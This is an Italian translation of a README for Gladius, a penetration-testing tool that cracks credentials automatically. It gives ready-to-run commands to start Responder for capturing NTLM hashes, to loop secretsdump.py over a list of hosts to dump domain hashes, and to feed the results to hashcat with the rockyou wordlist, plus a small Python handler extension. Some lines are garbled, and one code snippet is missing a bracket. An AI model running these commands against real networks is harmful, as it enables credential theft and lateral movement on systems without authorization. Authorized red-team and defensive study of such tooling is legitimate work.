
Cracking automatizzato di Responder/secretsdump.py
Autore: Cory Duplantis (@ctfhacker) / blog
Gladius fornisce un metodo automatizzato per crackare le credenziali da varie fonti durante un engagement. Attualmente crackiamo hash da Responder, secretsdump.py e smart_hashdump.
pip install watchdog
git clone https://www.github.com/praetorian-inc/gladius
cd gladius
git clone https://www.github.com/praetorian-inc/Hob0Rules
cp Hob0Rules/* .
rm -rf Hob0Rules/
python gladius.py --hashcat ../hashcat/hashcat-cli64.bin -r d3adhob0.rule -w rockyou.txt
Ora avvia la sessione di responder come di consueto
cd /usr/share/responder
python Responder.py -i YOUR_IP -I YOUR_INTERFACE
Invia i risultati di secretsdump a Gladius per l'analisi e il cracking.
for ip in $(cat ips); do secretsdump.py DOMAIN/username:password@$ip > /usr/share/responder/secretsdump_$ip; done
$ python gladius.py -h
usage: gladius.py [-h] [-v] [--responder-dir RESPONDER_DIR]
[--hashcat HASHCAT] [-r RULESET] [-w WORDLIST] [--no-art]
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increased output verbosity
--responder-dir RESPONDER_DIR
Directory to watch for Responder output
--hashcat HASHCAT Path to hashcat binary
-r RULESET, --ruleset RULESET
Ruleset to use with hashcat
-w WORDLIST, --wordlist WORDLIST
Wordlist to use with hashcat
--no-art Disable the sword ascii art for displaying credentials
and default to only text.
Il regole predefinite è un miglioramento del best64 di Julian Dunning (@hob0man) di Praetorian. La sua presentazione sull'argomento può essere trovata qui sotto:
Osserva il log di responder per i file *NTLM*txt. Per ogni file trovato, analizza l'output, crea un file temporaneo contenente i nuovi hash e lo passa a hashcat con il tipo di hash corretto
Per osservare gli hash NTLM da hashdump, crea semplicemente un file con gli hash NTLM da hashdump e metti un file con
hashdumpnel nome nella directory di Responder. Nota: Dovrai esaminare manualmente l'output in./engagement/responderhander_out/*per verificare i risultati del cracking dihashdump.
Osserva l'output di hashcat ed esporta file con il seguente formato:
Dominio NomeUtente Password
Per estendere Gladius:
GladiusHandler.'*' se il nome del file non è importante)process(self, event) per eseguire azioni su tutti i file che corrispondono al tuo pattern.class YourHandler(GladiusHandler):
patterns = ['*']
def process(self, event):
data = self.get_lines(event)
# Perform work on data
Aggiungiti alla lista dei gestori (handlers)
handlers = [
(ResponderHandler, args.responder,
(CredsHandler, ResponderHandler().outpath),
(YourHandler, CredsHandler().outpath),
(YourHandler, '/tmp'),
]